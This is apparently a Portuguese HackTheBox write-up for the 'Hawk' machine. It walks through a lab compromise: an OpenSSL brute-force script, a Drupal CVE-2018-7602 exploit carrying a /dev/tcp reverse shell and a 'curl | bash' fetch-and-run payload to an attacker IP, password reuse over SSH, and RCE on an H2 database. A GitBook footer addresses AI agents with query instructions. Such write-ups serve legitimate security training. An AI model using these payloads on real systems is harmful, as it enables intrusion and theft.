> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Writeup do HackTheBox Hawk

Relato do Hawk HackTheBox para máquina Linux de dificuldade média, cobrindo força bruta e descriptografia de cipher OpenSSL, enumeração/exploração do Drupal, exploração do banco de dados H2, com enumeração prática, exploração, fo

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Habilidades:**

* Força bruta e descriptografia de cipher OpenSSL
* Enumeração/Exploração do Drupal
* Exploração do banco de dados H2
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b476147a92ca14bd36d84dff5a47869fd3435f2%2Fimage%20(2667).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verificando a conexão VPN para garantir comunicação estável com a máquina alvo

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9700834b012e03f10b7a368e86ddb09f46ca8e86%2Fimage%20(2668).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Explorando portas abertas e exportando para o arquivo "allPorts" no diretório do Nmap.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd099ddcb9ec200767f2417ef808ef3bf00b70e0%2Fimage%20(2669).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Usando a função extractPorts para exibir em um formato conciso as portas abertas e copiá-las para a área de transferência (21,22,80,5435,9092)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00e24bffedf85155668b6df65a0154452e2bf2a5%2Fimage%20(2670).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Varredura de versão das portas com Nmap:

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44d8a7eb35aa2b7d4bceca98e8f335c99d68c987%2Fimage%20(2671).png?alt=media" alt=""><figcaption></figcaption></figure>

### Porta 21 - FTP

Conectamo-nos como um **anonymous** usuário e descobrimos um arquivo oculto chamado `.drupal.txt.enc`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16c2fe1caa300fe944a49e6148d1c18cbd47606a%2Fimage%20(2672).png?alt=media" alt=""><figcaption></figcaption></figure>

## Força bruta - Openssh (.enc)

> O **.enc** A extensão geralmente indica um **codificado** arquivo (criptografado). É usado para indicar que o conteúdo do arquivo foi protegido por um algoritmo de criptografia, tornando os dados ilegíveis sem a chave ou senha apropriada. Esses arquivos podem conter qualquer tipo de dado (texto, imagens, vídeos etc.) e são comumente usados para proteger informações sensíveis.

O `.enc` arquivo está criptografado com um algoritmo **AES-256-CBC** e codificado em **Base64**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77572e2fba67e55b4df4c3749c2456cc145a8f52%2Fimage%20(2673).png?alt=media" alt=""><figcaption></figcaption></figure>

**Etapa 1: Decodificação Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34740e0bc19cc11b32d0b4805f6858227ce928e8%2Fimage%20(2674).png?alt=media" alt=""><figcaption></figcaption></figure>

**Etapa 2: Descriptografia com OpenSSL**

Para decifrar o arquivo, precisamos de uma senha. Aqui está o comando para tentar a descriptografia manual:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af8cfefc7fe4531094d5fb8065e5a31c933a04fa%2Fimage%20(2675).png?alt=media" alt=""><figcaption></figcaption></figure>

**Etapa 3: Script de automação para força bruta**

Usamos um script Bash para testar uma lista de senhas (por exemplo, `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Saindo.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] A senha é : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Resultado:**

A senha encontrada é: **amigos**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ec3269c4f31949021332d09000d2ec83f02df83%2Fimage%20(2676).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Mensagem descriptografada**

O arquivo descriptografado contém uma nova senha:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

amigos
```

* **PencilKeyboardScanner123**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6f128df7f5443d3f12a87a5104243cd032edf7c%2Fimage%20(2677).png?alt=media" alt=""><figcaption></figcaption></figure>

## Porta 80 - HTTP

A porta 80 hospeda um CMS Drupal 7.

```bash
whatweb 10.10.10.102
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62537663dc71693c66bac8de15a479a7c3066549%2Fimage%20(868).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d365f27853662c60b023ff9595df1d2a46941f95%2Fimage%20(2678).png?alt=media" alt=""><figcaption></figcaption></figure>

**Autenticação - Acesso com senha**

Tente se conectar com a `PencilKeyboardScanner123` senha do usuário `admin` e a autenticação é bem-sucedida.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9854da5c1665a4a24619c6efd299e07ef3fef10f%2Fimage%20(867).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell - Drupal 7

Usaremos o seguinte script para executar comandos em um servidor Drupal menor que 7 (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Este comando permite executar o `id` comando no servidor.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4a848bde5138758b3c3c5fa863c68e0a4534629%2Fimage%20(869).png?alt=media" alt=""><figcaption></figcaption></figure>

**Acesso ao servidor**/ Para estabelecer acesso ao servidor, precisamos escutar a porta 443 com `nc`

```bash
nc -nvlp 443
```

Em seguida, você cria um `index.html` arquivo com o seguinte conteúdo para estabelecer uma shell reversa:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Servidor web e execução de comandos**/ Inicia um servidor HTTP com Python:

```bash
python3 -m http.server 80 
```

Em seguida, envie o seguinte comando para baixar e executar o script:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f08dac2514d3f2dab6115d45ef5e3f91c913119%2Fimage%20(870).png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Estabilização do terminal** Para gerenciar o terminal, são usados os seguintes comandos:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cca193231cfb97ec7bc00b266564e229de64e247%2Fimage%20(871).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de Privilégios**

Explorando o diretório web em `/var/www/html`, você pode ver vários arquivos de configuração. Entre eles, um arquivo interessante é identificado:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef54eec337a2942a055ea3c50d9e4a44e7797bf6%2Fimage%20(2680).png?alt=media" alt=""><figcaption></figcaption></figure>

**Caminho:** `sites/default/settings.php`

Ao revisar este arquivo, encontramos informações sensíveis:

* Usuário: drupal
* Senha: drupal4hawk

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01aa9995a68738a29f46007af5d528bc37c638e9%2Fimage%20(2679).png?alt=media" alt=""><figcaption></figcaption></figure>

Essas credenciais se conectam ao banco de dados MySQL. Para isso, são usados os seguintes comandos:

```bash
mysql -u drupal -p
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02e90772e84e4bd6be312096f4bb1a1c3f4a0f%2Fimage%20(2681).png?alt=media" alt=""><figcaption></figcaption></figure>

Depois de inserir a senha, todos os bancos de dados disponíveis são listados e, em seguida, o banco de dados associado ao Drupal é selecionado:

```sql
show databases;
use drupal;
```

Uma vez no banco de dados, exploramos o conteúdo da `users` tabela para encontrar informações interessantes:

```
SELECT * FROM users;
```

Nessa tabela, encontramos uma senha hasheada associada a um usuário:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dd08f4e1b263a5ff53e6d859f6bcff925c7b0d0%2Fimage%20(2682).png?alt=media" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Força bruta com John - Hash da senha

Use o John para quebrar o hash da senha

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

No entanto, neste caso específico, nenhuma correspondência foi encontrada na `rockyou.txt` lista de senhas.

### Saindo do Python para Bash Normal

Acessamos o servidor como um `daniel` usuário com uma senha associada ao banco de dados (neste exemplo, **drupal4hawk**). Aqui está o comando para conectar:

```bash
ssh daniel@10.10.10.182
```

Senha: **drupal4hawk**

Uma vez conectado, estamos diretamente em um interpretador Python.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3bf511a71df9df5ad1b32cd68efd199114b4f2c%2Fimage%20(865).png?alt=media" alt=""><figcaption></figcaption></figure>

Para voltar a um shell Bash normal, podemos usar o `módulo os` do Python para executar um comando Bash. Aqui estão os passos:

1. Importar o módulo `módulo os` :

   ```python
   import os
   ```
2. Execute um shell Bash:

   ```python
   os.system('/bin/bash')
   ```

Isso permitirá que você acesse um shell Bash normal a partir do interpretador Python.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-496fcd4867069cf292809d9505f05ad60cc53c65%2Fimage%20(866).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploração do banco de dados H2

/*/* Análise de portas abertas/*/*

Para começar, listamos internamente as portas abertas usando o seguinte comando:

```bash
netstat -tuln
```

Identificamos que a porta **8082** está aberta e hospeda um serviço. Ao analisá-lo, descobrimos que se trata de um CMS de banco de dados: **H2 Database**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f34b07f59b7875bfad272d4efe6683753221d43f%2Fimage%20(2683).png?alt=media" alt=""><figcaption></figcaption></figure>

Para acessar esse serviço da nossa máquina, realizamos um encaminhamento de porta com **SSH**, redirecionando a porta interna 8082 para a porta 8082 da nossa máquina local:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5326b6f13ed64f5f0a72a40e2a5c3d5a6de8d892%2Fimage%20(2684).png?alt=media" alt=""><figcaption></figcaption></figure>

### Encaminhamento de porta

Para acessar esse serviço da nossa máquina, realizamos um encaminhamento de porta com **SSH**, redirecionando a porta interna 8082 para a porta 8082 da nossa máquina local:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### Banco de dados H2:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aec01f64b10b5c31cec3f7bbf9eb7141030baaf1%2Fimage%20(2685).png?alt=media" alt=""><figcaption></figcaption></figure>

Usamos **searchsploit** para buscar vulnerabilidades conhecidas associadas ao H2 Database:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f1b5ad6558d5f985f72320fc61bf6fd935770e1%2Fimage%20(2687).png?alt=media" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

Encontramos uma vulnerabilidade interessante que permite execução remota de comandos:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672d4d7dbf52a3d3c1a6548cea9f11c5daa6e191%2Fimage%20(2686).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

O script nos permite executar comandos na máquina alvo. Ao navegar pelo sistema, recuperamos o **bandeira root.txt**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99ddd22267dbb7a48d1f06ba3507b5f928e11d4f%2Fimage%20(2688).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc9fbcfbfb90bf183d39b172dac584adb3b7dc0d%2Fimage%20(2689).png?alt=media" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
